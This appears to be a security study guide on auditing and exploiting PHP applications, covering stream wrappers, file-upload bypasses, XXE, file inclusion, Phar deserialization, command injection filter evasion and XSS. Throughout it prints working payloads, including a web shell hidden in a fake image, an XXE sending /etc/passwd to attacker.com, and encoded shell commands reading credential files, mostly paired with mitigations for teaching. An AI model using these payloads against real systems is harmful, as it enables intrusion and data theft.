17 minute read

The devil is in the details.

Fundamentals

Predefined Variables

PHP provides several predefined arrays to access global data. These include:

  • Superglobals: Built-in variables that are always available in all scopes.
  • $GLOBALS: References all variables available in global scope.
  • $_REQUEST: HTTP Request variables
  • $_GET: Data sent via HTTP GET method.
  • $_POST: Data sent via HTTP POST method.
  • $_COOKIE: Cookies sent to the script.
  • $_SESSION: Stores session variables across multiple pages.
    • Use strong session cookie flags (HttpOnly, Secure, SameSite).
  • $_SERVER: Server environment variables, including headers, paths, and script locations. Variables like $_SERVER['HTTP_USER_AGENT'] or $_SERVER['REMOTE_ADDR'] provide information about the request.
  • $_FILES: HTTP File Upload variables.
  • $_ENV: Environment variables.
  • $php_errormsg: The previous error message
  • $http_response_header: HTTP response headers
  • $argc: The number of arguments passed to script
  • $argv: Array of arguments passed to script

Security Note: Input validation is crucial.

Typing

Loose and Strict Typing:

  • PHP’s type juggling can lead to unexpected behavior in loose comparisons (==). For example, 0 == "abc" returns true.
  • Security Note: Always use strict comparisons (===) in critical parts of your code (e.g., password verification, authentication checks) to avoid logic flaws.

Readmore:

Class and Object

Namespace:

  • Helps avoid name collisions by grouping related classes. Used in larger projects where many classes may have the same names.
  • Security Note: Improper handling of namespaces and autoloading can lead to file inclusion attacks if class names map to user-controlled paths.

Inheritance

  • Subclassing the classes can aid in centralization and prevent logic from being repeated. An essential idea for Model-View-Controller (MVC) framework audits.

Magic Methods:

  • __construct: Called when creating an instance of a class.
  • __destruct: Called when destroying an instance of a class.
  • __call: Is triggered when the method/function doesn’t exist.
  • __get/__set: Useful for controlling access to class properties, but can be abused if not carefully implemented (e.g., returning sensitive data).
  • __wakeup: Often abused in deserialization attacks. Always validate or sanitize input when objects are unserialized.
  • __toString: Converts an object to a string. It is particularly useful in output formatting but be mindful of potential data leakage when implicitly converting sensitive objects.

Strings

Quoted:

  • Single quoted: No variable expansion, and escape sequences are limited to \\ and \'.
  • Double quoted:
    • Supports escape sequences (\n, \t, \f, \, $, ", etc.).
    • Variable expansion: Variables inside double-quoted strings are expanded, which can be useful but risky if user input is directly included.
    • Octal and Hexadecimal Notation: Allows representation of characters in octal (\nnn) or hexadecimal (\xHH), but using raw binary data in strings should be handled carefully.
    • Security Note: Never trust user input inside double-quoted strings unless properly sanitized to prevent injection attacks.

Syntax:

  • Heredoc syntax: Behaves like double-quoted strings, supporting variable interpolation and escape sequences. Useful for embedding large blocks of text.
  • Nowdoc syntax: Acts like single-quoted strings. No interpolation occurs, making it safer for embedding user content or large blocks of static text.

Readmore: PHP Strings

Autoload

Dynamically loading classes:

  • Instead of manually including files, autoloading automates the process.
  • The deprecated __autoload() is replaced by spl_autoload_register(), which provides more flexibility (e.g., registering multiple autoloaders).
  • Since PHP core does extensive class name validation, the autoloader’s attack surface is limited when it comes to huge Object-Oriented Applications.
  • Use backslashes to make the autoloader believe that a file is a namespace if we upload it to the image directory, works on Windows and Unix.

Security Note: If an attacker controls file paths or class names, they could load arbitrary code. Always sanitize inputs and restrict paths that the autoloader can access.

Attack Surface: Exploiting autoload with file uploads, if an attacker can upload files, the autoloader could execute them if the filename is crafted as a class.

Readmore : PHP Autoload

PHP Configs

The configuration file php.ini is located.

  • Apache: /etc/php/version/apache2/php.ini
  • Nginx: /etc/php/version/fpm/php.ini

It can utilize disable_functions to disable system commands, it is helpful for mitigation. However, you can get around this:

  • Memory corruption for the escape of virtual machines.
  • A new method that is unblocked.
  • Replace scripts and triggers with ones from another environment

PHP Wrappers

PHP Protocols and Wrappers:

  • file://: Provides access to the local filesystem. Be cautious of potential Local File Inclusion (LFI) vulnerabilities.
  • http://: Allows access to remote HTTP(s) resources. Can be exploited if improperly used in file inclusion.
  • php://: Allows access to PHP I/O streams (e.g., input, output, and temp memory streams).
    • php://input: Direct access to raw POST data. It can be useful for reading non-encoded data, like JSON. It is not available in POST requests with enctype="multipart/form-data" if enable_post_data_reading option is enabled.
    • php://output: Allows writing directly to the output buffer of PHP. It behaves similarly to fwrite() on standard output (STDOUT).
    • php://fd: Access to file descriptors. It can be used to read from or write to specific file descriptors like php://fd/3 to access file descriptor 3.
    • php://memory: Creates a temporary stream in memory. The data is only stored in memory, and once the memory limit is reached, it will stop.
    • php://temp: Starts with a memory stream and, once a pre-set threshold is exceeded, switches to a temporary file stored on the disk.
    • php://filter: Allows you to apply filtering operations on a stream (e.g., encoding, decoding, transforming data) before reading or writing the stream. convert.base64-decode can be used to alter input/output streams, which can be exploited in combination with file inclusion vulnerabilities (LFI). Example: php://filter/read=convert.base64-encode/resource=config. Woops it seems someone is a party-wrecker.
  • zlib://: Accesses compression streams like gzip. Handle compressed data with care to prevent tampering or data injection.
    • If attempting to disguise files (e.g., .jpg file masquerading as a .zip with embedded PHP) just like echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.php, many security systems can still detect content-type mismatches.
    • Then access with: zip://./images/shell.jpg%23shell.php&cmd=id
    • Mitigation: Avoid allowing arbitrary file uploads in compressed formats, and verify content-types closely.
  • phar://: Provides access to PHP archives. PHAR files can include PHP objects in their metadata, making them prone to deserialization-based Remote Code Execution (RCE) if the application unserializes data from a PHAR file.
    • To create a PHAR file: php --define phar.readonly=0 shell.php && mv shell.phar shell.jpg
    • To access a file within a PHAR: phar://./images/shell.jpg%2Fshell.txt&cmd=id
    • Mitigation: Set phar.readonly=1 in production environments to prevent PHAR creation, and avoid unserializing PHAR metadata.
  • data://: Allows inline data to be treated as a file-like stream. It uses the RFC 2397 format, which allows data to be embedded directly within URLs in the form of base64 or plain text. Include external data and PHP code.
    • Only available to use if the (allow_url_include) setting is enabled in the PHP configurations.
    • Usage : data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
    • Mitigation: Disable allow_url_include to prevent the data:// wrapper from being exploited.
  • expect://: Allows us to directly run commands through URL streams and often used in environments where automation is needed for command-line interfaces that require interactive input, such as logging into remote systems or interacting with prompts.
    • Ensure the expect extension is enabled in php.ini (extension=expect).
    • expect:// wrapper then pass the command we want to execute expect://command
    • Mitigation: Only enable expect:// when necessary, validate input, and consider disabling the expect extension in production.

Security Note: Disable allow_url_fopen and allow_url_include in php.ini to mitigate remote file inclusion risks.

Readmore: Supported Protocols and Wrappers

PHP Dynamic Evaluation

Dynamic code execution:

  • eval(): Executes a string as PHP code. It is one of the most dangerous functions and should be avoided.
  • assert(): Evaluates a condition and throws an error if false. Since it can execute arbitrary PHP code if given as a string, it’s another dangerous function.

Security Note: Dynamic evaluation functions should be avoided unless absolutely necessary. They open the door to Remote Code Execution (RCE) vulnerabilities if user input is passed to them without strict validation.

Entity

DTD Entities

  • External DTD: External entities can be referenced in an XML file, leading to XXE (XML External Entity) vulnerabilities if they are not properly secured.
  • Internal DTD: Less risky since no external resources are referenced, but care should still be taken to avoid recursive or excessive entity usage (e.g., Billion Laughs attack).

Security Note: Always disable external entity loading with LIBXML_NOENT when parsing XML unless absolutely necessary.

Readmore : DTD Entities

XML Entities

  • Internal XML Entities: Defined within the XML document. Safe if controlled, but still needs proper parsing to avoid malformed or unexpected input.
  • External XML Entities: Refer to external resources and pose a higher risk, particularly in environments where sensitive data could be leaked.

PHP Streams

fopen and stream functions:

  • Any function that opens or manipulates files can be used to access data streams. Proper input sanitization is required to avoid unintended file inclusions or injections.
  • Security Note: When handling file streams from untrusted sources, always validate file paths and restrict access to sensitive directories.

Reflection

The Reflection API allows introspection of classes, methods, and properties at runtime. It’s powerful but dangerous in the wrong hands.

Security Note: Avoid exposing reflective capabilities in a way that attackers can manipulate runtime behavior. If used improperly, it can reveal private or protected class members.

Readmore:


Framework

Laravel

Magento

Symfony

Yii

Security Note: Always follow best practices when using these frameworks, like securing route access, preventing CSRF, and ensuring proper data sanitization in ORM queries to prevent SQL Injection.


Template Engines

Template Injection: Ensure user inputs are escaped properly when displayed in templates to avoid template injection vulnerabilities. Readmore: Server-Side Template Injection

Smarty

Twig

Blade

Tool : Tplmap

Security Note: Avoid embedding raw PHP in templates, especially in engines that allow PHP execution (e.g., Smarty’s {php} block). This can lead to RCE if user inputs aren’t properly sanitized.


PHP Debugging

Xdebug is a PHP extension that provides debugging, profiling, and tracing capabilities, making it easier to inspect and troubleshoot PHP applications. It enables interactive debugging and improves error logging by generating detailed stack traces, variable dumps, and memory usage information.

  • Debugger Protocol (DBGP): Xdebug communicates with debugging clients (such as IDEs) via the Debugger Protocol (DBGP), a standardized protocol for debugging.
  • Enable the extension in your php.ini with zend_extension=xdebug.so (Linux) or zend_extension=xdebug.dll (Windows).
  • In VSCode, you don’t need XDEBUG_SESSION in the URL because the debugger can automatically attach to the session if xdebug.start_with_request is set to yes.

Xdebug Modes and Options

Debugging Modes:

  • xdebug.mode=debug: Enables debugging functionalities, allowing the IDE to set breakpoints, inspect variables, and control code execution.
  • xdebug.mode=trace: Logs function calls and variable modifications for more extensive analysis.
  • xdebug.mode=profile: Generates profiling information, useful for performance analysis.

Readmore how to use Xdebug:


Exploitation

RCE (Remote Code Execution)

File Upload Vulnerabilities

MIME-Type and File Signature:

  • File Signature or Magic Bytes: File types often have unique identifiers, like GIF images (GIF87a or GIF89a). You might manipulate these signatures to bypass validation, e.g., by adding harmless headers to malicious files.
  • Bypass Tip: If the application only verifies the MIME type from Content-Type headers, it may be vulnerable to changing the MIME type to image/jpeg while uploading a script.
  • To harden this, verify file signatures with PHP functions like finfo_file() instead.
  • Content-Type Fuzzing: SecLists content type

Filename

  • Characters like .., /, or null bytes (%00) can enable directory traversal attacks or manipulation of file paths.

Upload Directory Disclosure

  • Error messages may leak information about upload directories, making it easier for attackers to find and execute uploaded files. Try this:
    • Attempting to upload a file that has the same name as an existing one may trigger an error revealing the file path and permissions configuration.
    • Sending two identical upload requests (e.g., concurrent requests with the same filename) can sometimes cause race conditions, revealing the directory structure in server logs or error messages.
    • Uploading a file with a long name (such as 5,000 characters) can overflow directory handling logic, resulting in a stack trace or buffer error that includes directory paths.

Case-Sensitive Blacklist

  • PHP’s basename() and pathinfo() functions can inadvertently allow malicious files
  • The blacklist only considers lowercase extensions, which can be bypassed with mixed-case extensions (e.g., pHp). Windows servers, which are case-insensitive, may execute such files as PHP.
  • Example:
$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');

if (in_array($extension, $blacklist)) {
    echo "File type not allowed";
    die();
}

Regex Matching

A loose regex pattern can allow unintended extensions:

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {

This pattern only checks if the file name contains certain extensions. A crafted file like backdoor.php.jpg could bypass this check. How to fix:

if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) {

Web Server Configuration

  • Even with proper validation, web server configurations can open vulnerabilities. It’s essential to use $ in regex patterns to enforce exact matches. Without anchoring $ at the end, files like shell.php.jpg could match and execute.
  • For example, Apache’s configuration:
<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

Character Certain characters can bypass validation by injecting unexpected sequences:

  • %20 (space), %0a (newline), %00 (null byte)
  • ... (path traversal), : (Windows drive specification)

OOB XXE (Out-of-Band XML External Entity Injection)

  • Leverage the behavior of an XML parser configured to allow external entity loading, even if no immediate response data is available. These attacks can exfiltrate data over different protocols and are often used when a direct error response or output is unavailable.
  • Works regardless of XXE type (blind, non-blind, or error-based).
  • Can be effective for transmitting data out of restrictive environments without relying on a visible response.
  • Example
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
	<!ENTITY % remote SYSTEM "http://attacker.com/?data=file:///etc/passwd">
	%remote;
]>
<root>&send;</root>

Entity Overwrite techniques manipulate parameter entities within DTDs to redefine standard entity references, often used when side-channel exfiltration isn’t feasible.

  • Exploits the XML specification’s allowance for using external Document Type Definitions (DTDs), letting attackers inject or modify entities directly in the XML declaration.
  • This enables references to internal or sensitive files (e.g., /etc/passwd or application configuration files) without relying on external connections.
  • Instead of referencing an external DTD over HTTP, attackers can use php:// wrappers to manipulate local resources directly or encode output.
  • Example using the php://filter wrapper
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
	<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=config.php">
	%data;
]>
<root>&data;</root>

XML data is not limited to SVG but is also common in formats like:

  • PDF: Common for document management and may be processed with vulnerable parsers.
  • Microsoft Office Files (Word, PowerPoint): Many of these formats embed XML, making them vulnerable if processed without proper sanitization.

LFI/RFI

Tips LFI

  • Misuse of include():
    • If include($path) loads unfiltered user input, this can lead to LFI/RFI vulnerabilities.
  • Target files:
    • config.php: Configuration files often contain database credentials or sensitive information.
    • Look in directories like .ssh for private keys (id_rsa) if read permissions are too permissive.
  • Fuzzing LFI you can use SecList LFI

PHP functions

  • include() / include_once()
    • Used to load and execute PHP code from a file or URL.
    • Remote URL Support: When allow_url_include is enabled in php.ini, it can load PHP code from remote URLs, posing significant security risks if user input is not sanitized.
  • require() / require_once()
    • Similar to include(), but throws a fatal error if the file cannot be included.
    • Can’t load remote URLs
  • file_get_contents()
    • Reads the content of a file or URL as a string. Does not execute PHP code, only retrieves content.
    • Remote URL Support just like include().
  • fopen() / file()
    • Opens a file or URL for reading/writing (fopen()) or reads a file into an array (file()).
    • Does not execute PHP code, primarily used for file handling and reading.
    • Remote URL Support similar to include().

Phar Deserialization

  • Phar files contain serialized metadata that can be exploited in deserialization attacks when deserialization is triggered, especially if a server accepts a .phar extension with an image or another MIME type.
  • You can create custom Phar files with serialized payloads. This can be done through tools like Phar::buildFromDirectory or php:// wrappers. Detailed guidance can be found in tutorials like Creating Phar Files.

Exploitation Techniques

  • Since some servers enforce file extensions as a security measure, renaming a .phar file to another extension (e.g., .jpg) can bypass restrictions: mv payload.phar payload.jpg
  • The phar:// stream wrapper allows PHP to interpret the renamed file as a Phar archive, regardless of its file extension: phar://path/to/payload.jpg/resource.
  • Phar deserialization can be especially dangerous in applications using functions that involve file operations (e.g., file_get_contents() or file_exists()) that allow the phar:// wrapper.
  • Watch IppSec’s video: Advanced PHP Deserialization - Phar Files
  • Read this How to exploit the PHAR deserialization vulnerability

Readmore:

Injection

Command Injection

Dangerous Functions: exec, system, shell_exec, passthru, and popen are vulnerable to command injection if they handle unsanitized input.

Blacklist/Filter Evasion:

$BLChar = ['&', '|', ';', '>', '<'];
$BLCommand = ['whoami', 'cat', 'id'];

Bypass Techniques:

  • Whitespace Substitution:
    • %0a%09 for tab, or use ${IFS} for spaces in Linux.
  • Brace Expansion:
    • {ls,-la} to execute ls -la.
  • String Manipulation:
    • ${LS_COLORS:10:1} to replace semicolon ;.
  • Encoding and Substitution:
    • Use who$@ami, w\ho\am\i, or $((tr "[A-Z]" "[a-z]"<<<"WhOaMi")) to bypass filters.
  • Using <<<:
    • Redirection with <<< can eliminate the need for | (pipe) characters, which may be filtered for example $(rev<<<'imaohw') and bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Cross-Site Scripting (XSS)

Image Metadata Injection

  • If the application displays metadata without sanitization, the payload will execute upon loading, leading to XSS.
  • Extra Technique: Change the image’s MIME type to text/html to increase the likelihood of browsers interpreting it as HTML rather than an image.
  • Example:
exiftool -Comment='"><img src=1 onerror=alert(window.origin)>' shell.jpg

Embedding in SVG Files

  • If SVG files are allowed and not sanitized, the JavaScript inside <script> tags will execute upon rendering the file in the browser.
  • Example:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert("window.origin");</script>
</svg>

Injection in Filename

Command Injection

  • If the application directly passes the uploaded filename into OS commands (e.g., mv, cp), this could lead to command injection. Example:
    • file$(whoami).jpg or file`whoami`.jpg: The filename injects the whoami command, which would execute when the application attempts to use it in an OS command.
    • file.jpg||whoami: By using shell metacharacters (e.g., ||), attackers may append additional commands to the original one.
    • For instance, mv file$(whoami).jpg /tmp.

Cross-Site Scripting (XSS)

  • This approach works particularly well if the web application allows users to preview their uploaded files. If the filename is used in an img or other HTML tag attribute, the payload could execute on the victim’s browser.. Example:
    • <script>alert(window.origin);</script>.jpg: If uploaded and displayed without sanitization, this payload could lead to client-side JavaScript execution on any page where the filename is rendered.

SQL Injection

  • If the filename is used in a SQL query without sanitization, this could delay query execution or even extract data, depending on the database configuration and context. Example:
    • file';select+sleep(5);--.jpg: Injecting this filename could delay or affect database queries if processed insecurely.

What’s next?

Updated: